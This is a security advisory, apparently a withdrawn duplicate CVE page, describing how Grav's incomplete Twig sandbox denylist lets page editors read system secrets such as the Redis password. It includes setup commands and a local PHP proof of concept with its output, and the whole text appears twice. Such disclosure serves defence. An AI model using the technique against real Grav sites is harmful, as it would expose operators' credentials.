CVE-2026-76846

Grav before 2.0.16 contains an incomplete default denylist in the Twig sandbox configuration that fails to block access to system configuration secrets. Attackers with page-edit permission can use config.get() or config.toArray() in Twig templates to retrieve sensitive values like system.cache.redis.password when config_access is enabled.

Grav before 2.0.16 contains an incomplete default denylist in the Twig sandbox configuration that fails to block access to system configuration secrets. Attackers with page-edit permission can use config.get() or config.toArray() in Twig templates to retrieve sensitive values like system.cache.redis.password when config_access is enabled.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-xjw5-q542-3vmr. This link is maintained to preserve external references.

Original Description

Grav before 2.0.16 contains an incomplete default denylist in the Twig sandbox configuration that fails to block access to system configuration secrets. Attackers with page-edit permission can use config.get() or config.toArray() in Twig templates to retrieve sensitive values like system.cache.redis.password when config_access is enabled.

Summary

system/config/security.yaml's default twig_sandbox.config_denied_paths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twig_content.config_access: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system.* , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.

Environment used to verify

• Grav commit at HEAD of the default branch, GRAV_VERSION 2.0.15
• PHP 8.3.6 with curl, zip, dom, gd extensions installed
• Full composer install --no-dev run against the real repository (no mocked dependencies) so the actual Grav\Common\Config\Config and Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly

Commands run to set up the verification environment

git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

grep -n "redis" -A3 system/config/system.yaml
#   redis:
#     socket: false
#     password:                # <- system.cache.redis.password, a real field
#     database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
#   cache.redis.password:      # <- confirmed exposed in the admin UI as "REDIS Password"
#     type: text

sandbox_test.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:

<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
    'system' => [
        'cache' => [
            'driver' => 'redis',
            'redis' => [
                'server'   => '10.0.0.5',
                'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
            ],
        ],
    ],
    'plugins' => [
        'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
    ],
    'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());

Run:

php sandbox_test.php

Output:

plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
    [system] => Array
        (
            [cache] => Array
                (
                    [driver] => redis
                    [redis] => Array
                        (
                            [server] => 10.0.0.5
                            [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
                       …

Grav before 2.0.16 contains an incomplete default denylist in the Twig sandbox configuration that fails to block access to system configuration secrets. Attackers with page-edit permission can use config.get() or config.toArray() in Twig templates to retrieve sensitive values like system.cache.redis.password when config_access is enabled.

Grav before 2.0.16 contains an incomplete default denylist in the Twig sandbox configuration that fails to block access to system configuration secrets. Attackers with page-edit permission can use config.get() or config.toArray() in Twig templates to retrieve sensitive values like system.cache.redis.password when config_access is enabled.

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-xjw5-q542-3vmr. This link is maintained to preserve external references.

Original Description

Grav before 2.0.16 contains an incomplete default denylist in the Twig sandbox configuration that fails to block access to system configuration secrets. Attackers with page-edit permission can use config.get() or config.toArray() in Twig templates to retrieve sensitive values like system.cache.redis.password when config_access is enabled.

Summary

system/config/security.yaml's default twig_sandbox.config_denied_paths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twig_content.config_access: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system.* , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.

Environment used to verify

• Grav commit at HEAD of the default branch, GRAV_VERSION 2.0.15
• PHP 8.3.6 with curl, zip, dom, gd extensions installed
• Full composer install --no-dev run against the real repository (no mocked dependencies) so the actual Grav\Common\Config\Config and Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly

Commands run to set up the verification environment

git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

grep -n "redis" -A3 system/config/system.yaml
#   redis:
#     socket: false
#     password:                # <- system.cache.redis.password, a real field
#     database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
#   cache.redis.password:      # <- confirmed exposed in the admin UI as "REDIS Password"
#     type: text

sandbox_test.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:

<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
    'system' => [
        'cache' => [
            'driver' => 'redis',
            'redis' => [
                'server'   => '10.0.0.5',
                'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
            ],
        ],
    ],
    'plugins' => [
        'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
    ],
    'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());

Run:

php sandbox_test.php

Output:

plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
    [system] => Array
        (
            [cache] => Array
                (
                    [driver] => redis
                    [redis] => Array
                        (
                            [server] => 10.0.0.5
                            [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
                       …